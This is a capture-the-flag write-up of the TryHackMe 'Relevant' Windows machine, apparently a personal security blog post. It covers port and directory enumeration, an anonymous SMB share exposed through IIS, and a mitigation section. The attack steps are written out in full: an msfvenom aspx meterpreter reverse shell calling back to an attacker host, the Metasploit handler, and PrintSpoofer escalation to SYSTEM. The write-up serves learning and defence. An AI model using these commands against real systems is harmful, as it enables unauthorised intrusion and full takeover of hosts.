Relevant

Sun, 16 Jun 2024 18:26:06 +0530

Introduction

Machine Name: Relevant
IP Address: [IP Address]
Difficulty: Medium

Information Gathering

I started scan with rustscan, found port 80, 49663 and 445 ports open. These are the most common ports for getting initial foothold, but 49663 is very uncommon(so suspicious).

> rustscan --ulimit 5000 -r 1-65535 -a $IP -- -Pn -A -T4 | tee -a scan.txt

PORT STATE SERVICE REASON VERSION
80/tcp filtered http no-response
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp filtered microsoft-ds no-response
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2024-06-16T13:32:28+00:00
|_ssl-date: 2024-06-16T13:33:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-15T13:22:30
| Not valid after: 2024-12-15T13:22:30
| MD5: 3899:9add:605f:3667:4142:6b8b:7e42:36ea
| SHA-1: fc71:3924:4a7e:0c01:bb51:9465:4800:5f04:f2ac:d73b
| -----BEGIN CERTIFICATE-----
| MIIC1DCCAbygAwIBAgIQfCiYuHMheZpPNXVuApyXhTANBgkqhkiG9w0BAQsFADAT
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNDA2MTUxMzIyMzBaFw0yNDEyMTUxMzIy
| MzBaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAts8eZAiC029jcGXhUL68IXseXFWcgqXCiDU4X7Ba811bVw9ESy70
| iVO76DBONGsr4Yd5/dhHXtxBv6PfcjBCqc6g+CtR0/hfDPp+ml5P+uw4AZUTyfrY
| 6hVQqLBXojAlHt/avwYgxLdUO0LeonbHOEKD7GYTKUeXmzHRVnJWSu+ig4/1DjLX
| Qy5rb5s8b+bEB7IXhTamR+VE43nmbk3uwZPvYnVFpOMh0GgzUYz37uU5wK1aUofe
| mZk0J4LJXAR3l0V5StbaHp5XNb2AB2YHp2Pw7CundO6JB9zfmbSLujjjU4VUNqYw
| 2ptgSJZkV35//bqgEeHCRpNNCqVu6YhTVwIDAQABoyQwIjATBgNVHSUEDDAKBggr
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBACFbjHjCdSkY
| De8PKuIF84qpcBet8saz5BbapeobNdCtpNybCHLtnDy2tHbsxS+0OnGmtEN3cAaf
| za2WoiMUcoD56nrx7vE02CuZGcnfgXN2G2sxxmCOZdRAMg257UWITeJLQH9zWZ5H
| Iikuk/rZIklL8ieX9+Ad2UeX4O843UsrxEfjnC0ZtcO+1wZRlmYvKHj4ew/5s/f4
| gOOTZXCvc6zrLxrxQiYbxbVHlUgLwyhKgD/vq8YIvX27+mHZseMHzKD9QRhAlbkj
| Pz57I37Z3vkXsuI/i2bJc4gttrjH3lQqoMWYTI9dj1+0W08XzDgnhtIf5aTAiwsP
| rtieJbN7gm8=
|_-----END CERTIFICATE-----
49663/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
49667/tcp filtered unknown no-response
49669/tcp filtered unknown no-response
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port 80

The root just hosts a Microsoft IIS default server, will dirbust with feroxbuster. I generally use two wordlists,

raft-medium-directories-lowercase.txt
directory-list-2.3-medium.txt

Deadend!!!

Port 49663

Interestingly, I found a endpoint nt4wrksv with the second list. This machine makes us learn the importance of patience in enumeration, because the directory folder in the second list was at the very last. So i had to go through whole big list to get this endpoint.

~/Pentesting/Tryhackme/relevant node system
> feroxbuster -w $SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.178.5:49663/ -C 400,404,503 -n

 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://10.10.178.5:49663/
 🚀 Threads │ 50
 📖 Wordlist │ /Users/vikas/Pentesting/hacking/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢 Status Code Filters │ [400, 404, 503]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.10.3
 🔎 Extract Links │ true
 🏁 HTTP methods │ [GET]
 🚫 Do Not Recurse │ true
 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 334l 2089w 180418c http://10.10.178.5:49663/iisstart.png
200 GET 32l 55w 703c http://10.10.178.5:49663/
301 GET 2l 10w 157c http://10.10.178.5:49663/nt4wrksv => http://10.10.178.5:49663/nt4wrksv/

~/Pentesting/Tryhackme/relevant
> cat $SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt | grep -in "nt4wrksv"
220538:nt4wrksv

Port 445

It has a share nt4wrksv available with anonymous access(Note: the same folder is available from port 49663) It has a passwords.txt file. This passwords.txt file is also accessible from port 49663. This is a serious vulnerability. I can now upload an aspx reverse shell(since windows) in smb share, then access it from port 49663 to execute it.

~/Pentesting/Tryhackme/relevant
> smbclient -L \\\\10.10.171.47\\ -U ''
Password for [WORKGROUP\]:

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 nt4wrksv Disk
SMB1 disabled -- no workgroup available

I used msfvenom to generate an aspx shell so as to recieve a meterpreter shell. This is the alternate reverse shell to use if you want a nc session: qtc-de.

~/Pentesting/Tryhackme/relevant
> msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=[IP] lport=[PORT] -f aspx -o shell.aspx

Then started a handler in msfconsole,

~/Pentesting/Tryhackme/relevant
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost [IP]
msf6 exploit(multi/handler) > set lport [PORT]
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on [IP]:4444

Uploading the shell file in the nt4wrksv smb share.(Do change your attack ip and port in the shell.aspx file.) I uploaded shell.aspx file with put command and queried the shell file from browser, got shell and also user.txt.

~/Pentesting/Tryhackme/relevant
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.14.82.36:4444
[*] Meterpreter session 1 opened (10.14.82.36:4444 -> 10.10.178.5:49732) at 2024-06-17 02:36:23 +0530

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > shell

c:\windows\system32\inetsrv>cd c:\users\bob\desktop
c:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}

Privilege Escalation

First of all, always check for privileges the current user has.

c:\Users\Bob\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

We see that the user has SeImpersonatePrivilege. This means, a specific privilege in Windows OS that allows a process to impersonate a user or another process. So I can abuse this by a custom process to impersonate as the NT\Authority user. So to exploit this, quick google search gives us this link from Hacktricks(A great resource).

A/c to usage, the command given to the PrintSpoofer.exe in -c flag will be executed as NT\Authority user.

Here is the file PrintSpooferx64.exe. I will upload it using the upload command in meterpreter session, then execute it with -c flag to give a powershell session of privileged user.

meterpreter > cd 'c:\inetpub\wwwroot\nt4wrksv'
meterpreter > upload PrintSpoofer64.exe
[*] Uploading : /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -> PrintSpoofer64.exe
[*] Uploaded 26.50 KiB of 26.50 KiB (100.0%): /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -> PrintSpoofer64.exe
[*] Completed : /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -> PrintSpoofer64.exe
meterpreter > shell
Process 3240 created.
Channel 3 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\inetpub\wwwroot\nt4wrksv>.\PrintSpoofer64.exe -i -c powershell.exe
.\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system

So as you can see, I have now taken over the machine 🎉

Mitigation Techniques

Disable Unnecessary Services(like port 49663):
- Regularly review and disable any services that are not required. This reduces the attack surface and potential entry points for attackers.
Least Privilege Principle:
- Apply the principle of least privilege to all user accounts and services. Users and services should only have the minimum level of access necessary to perform their tasks.
Strong Authentication Mechanisms(in this case for smb):
- Use strong, complex passwords and consider implementing multi-factor authentication (MFA) to add an extra layer of security to user accounts.

Specific Mitigations

Restrict SMB Access:
- Disable anonymous access to SMB shares. Configure SMB shares to require authentication and only allow access to authorized users.
- Apply strict permissions to SMB shares, ensuring that only necessary users have write access.
Secure HTTP Access:
- Ensure that HTTP services are properly secured. If file uploads are required, implement strict controls to validate and sanitize uploaded files to prevent the upload of malicious files such as reverse shells.
- Use secure coding practices to prevent vulnerabilities such as arbitrary file upload and remote code execution.
Restrict Privileges:
- Regularly review and restrict the assignment of high-privilege accounts such as those with SeImpersonatePrivilege. Only assign such privileges to accounts that absolutely require them.
- Use Group Policy to enforce restrictions on privilege assignments and regularly audit these policies.
Implement Endpoint Protection:
- Deploy endpoint protection solutions that can detect and block common attack techniques, such as reverse shells and privilege escalation tools like PrintSpoofer.
- Regularly update endpoint protection signatures and configurations to ensure they can detect the latest threats.
Harden Print Spooler Service:
- Regularly audit and review the security of the Print Spooler service. Disable the Print Spooler service on systems where it is not required.
- Apply patches and updates related to the Print Spooler service to address known vulnerabilities.
Application Whitelisting:
- Implement application whitelisting to control which executables are allowed to run on the system. This can prevent unauthorized tools and scripts from executing.
Isolate and Monitor High-Privilege Accounts:
- Isolate high-privilege accounts and monitor their usage closely. Implement additional security controls such as MFA and session logging for these accounts.

Conclusion

Overall, this was an easy box actually which required a lot of patience 😅. Exploitation after finding that exposed folder on port 49663 is easy. Rest all scripts and tools are available online to use.

Windows on CrippledMind's InfoSec Journal